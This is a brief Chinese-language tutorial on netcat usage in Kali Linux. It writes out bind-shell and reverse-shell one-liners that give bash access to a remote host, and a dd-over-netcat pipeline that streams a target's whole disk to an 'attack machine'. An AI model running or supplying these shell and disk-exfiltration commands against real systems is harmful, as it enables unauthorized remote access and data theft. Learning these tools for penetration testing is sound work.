kali nc的用法
时间: 2023-10-09 16:13:33 浏览: 281
kali工具使用
NC(Netcat)是一个功能强大的网络工具,常用于远程控制和网络克隆。以下是Kali Linux中NC的用法:
1. 正向连接:在目标机器上监听并接受连接,然后通过Bash shell进行交互:
```
nc -lp 333 -c bash
```
在攻击机上发起连接:
```
nc 1.1.1.1 333
```
2. 反向连接:在攻击机上监听并接受连接,然后通过Bash shell进行交互:
```
nc -lp 333
```
在目标机器上发起连接:
```
nc 1.1.1.1 333 -c bash
```
注意:如果你在Windows上使用NC,请将Bash替换为CMD。
基本工具:
- `nc -h`:查询NC可用的参数。
- `nc -v`:查看连接过程中的详细信息。
- `nc -n`:后面指定IP地址,如果后面输入域名不会进行DNS解析。
NC用于远程克隆硬盘:
- 克隆硬盘端:在目标机器上监听,并将数据流写入/dev/sda:
```
nc -lp 333 | dd of=/dev/sda
```
- 被克隆硬盘端:将/dev/sda的数据流读取并发送到攻击机器上的1.1.1.1的333端口:
```
dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1
```
阅读全文